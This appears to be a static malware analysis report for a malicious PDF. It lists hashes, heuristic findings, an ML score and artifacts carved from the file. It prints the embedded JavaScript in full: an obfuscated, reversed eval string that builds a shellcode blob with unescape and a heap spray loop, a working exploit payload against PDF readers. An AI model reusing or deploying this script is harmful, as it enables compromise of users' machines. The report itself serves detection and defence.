Malicious PDF — malware analysis report

Static analysis result for SHA-256 532ab0babe08df56…

MALICIOUS

PDF

71.4 KB First seen: 2013-05-17
MD5: a3f4f30782438e265abf1d9f3eb4cd42 SHA-1: 0666d723e6ebb80b16641882edfce20c486b9204 SHA-256: 532ab0babe08df56648e61952ea84c75ebd86ae8526ec976add8b83066ad8e52
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier also flagged the PDF as malicious with a high probability. While the document body contains garbled text, the presence of JavaScript suggests an attempt to execute malicious code. The embedded URL 'http://www.bitstream.com' is also noted, though its reputation is unknown. The exact intent of the JavaScript could not be determined due to its obfuscation or truncation, but it is highly likely to be involved in downloading or executing a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x10A83 4456 bytes
SHA-256: 82b8fd5421ce737e548e5d9f7f7c6f722178d1b6d5f74dd6b32a9d9785ee4971
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var eva=new Function("a","ev     al        (a);".split(" ").join(""));
       var s=' ;"s"+3_ozotlav=]i_ozotlav[4_ozotlav )++i_ozotlav;0f1x0<i_ozotlav;0=i_ozotlav( rof ;)(yarrA wen = 4_ozotlav rav ;)2 / )80x0-0201x0( - 00008x0 ,0(gnirtsbus.d_ozotlav = 3_ozotlav ;d_ozotlav =+ d_ozotlav )00008x0 < htgnel.d_ozotlav(elihw ;)2/63556 ,0(gnirtsbus.b_ozotlav = d_ozotlav ;c_ozotlav =+ b_ozotlav ;olygak =+ b_ozotlav ;)2/)42x0-c0c0x0( ,0(gnirtsbus.c_ozotlav = b_ozotlav ;c_ozotlav=+c_ozotlav )63556 < 8 + 02 + htgnel.c_ozotlav( elihw ;) "c" + "0" + "c" + "0" + "u" + "$" + "c" + "0" + "c" + "0" + "u" + "$" (epak = c_ozotlav rav ;) )""(nioj.)" "(tilps."8d14  u $ 37c4  u $ 7888  u $ 3f6a  u $ 62de  u $ f5a3  u $ 54a6  u $ f5fe  u $ 125b  u $ eca7  u $ 9c7c  u $ 18cb  u $ bb2c  u $ 27c9  u $ e0a3  u $ b4f1  u $ 3d4f  u $ 50c9  u $ 105a  u $ d813  u $ 8138  u $ 27b7  u $ 9c6a  u $ 5e26  u $ 2492  u $ c835  u $ 9397  u $ a8b4  u $ 20c3  u $ b49b  u $ 8565  u $ f1fb  u $ 214b  u $ eba1  u $ 0c8c  u $ fc5e  u $ 15c6  u $ b044  u $ 5772  u $ f4f5  u $ 29ea  u $ 2c85  u $ 9929  u $ 33b8  u $ ebe8  u $ 67f   f  u $ 5308  u $ 1991  u $ cc17  u $ 1deb  u $ 9c1d  u $ 50b2  u $ a0aa  u $ 8782  u $ 0f94  u $ 78d5  u $ 4bd6  u $ a030  u $ 9804  u $ 22c4  u $ 0617  u $ 2ed7  u $ 29e6  u $ 5468  u $ ea72  u $ 0855  u $ d061  u $ aea0  u $ 54ee  u $ 13d7  u $ b3eb  u $ 447c  u $ e387  u $ 4fcb  u $ 8e3f  u $ 42db  u $ b5da  u $ 5780  u $ 286a  u $ a785  u $ 54ab  u $ 7691  u $ b717  u $ 239b  u $ 78b6  u $ 0f79  u $ 707a  u $ fe11  u $ 0d88  u $ 64a9  u $ 4f76  u $ dc6d  u $  0   937  u $ c3d1  u $ 2dd1  u $ d 0   98  u $ 5a45  u $ c3b9  u $ c21b  u $ bb8f  u $ 3c94  u $ 35d6  u $ 3 0   90  u $ 6511  u $ cf13  u $ 38ee  u $ 4fe5  u $ 4742  u $ 339d  u $ 631b  u $ 24f8  u $ abf5  u $ bd2c  u $ 929c  u $  0   070  u $ f211  u $  0   070  u $ 137d  u $  0   070  u $ d451  u $ f   f 0   9  u $ f   ff   f  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $  0   9 0   9  u $  0   9 0   9  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $  0   9 0   9  u $  0   9 0   9  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $  0   9 0   9  u $ f   f 0   9  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ f   ff   f  u $ 8e6e  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ be50  u $ 57ee  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $  c   0 c   0  u $  c   0 c   0  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ 18bf  u $ 2c40  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ 4038  u $ 380c  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ 9881  u $ b8a1  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ 5185  u $ a5be  u $  0   070  u $ bb51  u $  0   070  u $ 227a  u $  0   070  u $ d451  u $ 45 0   9  u $ a5 0   9  u $  0   070  u $ bb51  u $  0   070  u $ 137d  u $  0   0 0   0  u $ 04 0   0  u $  0   0 0   0  u $ 0 0   01  u $ 10 0   0  u $ 4010  u $  0   0 0   0  u $  0   0 0   0  u $ 10 0   0  u $  0   010  u $ f   ff   f  u $ f   ff   f  u $  0   070  u $ 45c5  u $  0   070  u $ 2e25  u $ 10 0   0  u $ 11 0   0  u $  0   070  u $ 7f27  u $  0   070  u $ ca8a  u $ 10 0   0  u $  0   010  u $  0   070  u $ bb51  u $  0   070  u $ ca8a  u $ 10 0   0  u $ 11 0   0  u $  0   070  u $ bb51  u $  0   070  u $ 2bf7  u $ ef   f7  u $  0   030  u $  0   070  u $ bb51  u $  0   070  u $ d451  u $  0   0 0   0  u $ 0 0   01  u $  0   070  u $ bb51  u $ 10 0   0  u $ 4010  u $  0   070  u $ 7f27  u $ 10 0   0  u $ 4210  u $  0   070  u $ 9951  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  c   0 c   0  u $  c   0 c   0  u $  0   070  u $ 48 0   9  u $  0   070  u $ 33 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $  0   070  u $ 48 0   9  u $ cccc  u $ cccc  u $  0   070  u $ f651  u $  0   070  u $ fe84  u $ cccc  u $ cccc  u $  0   070  u $ 9194  u $  c   0 c   0  u $  c   0 c   0  u $ " (epak = olygak rav ;epacsenu = epak rav ';
eva(s.split("").reverse().join(""));
font_00_sfnt_off0000035e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x35E 67284 bytes
SHA-256: 35b6962eeb9aa4a8acb1109b74102eb9d08ab437da4460a890e43cabdc8c59d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)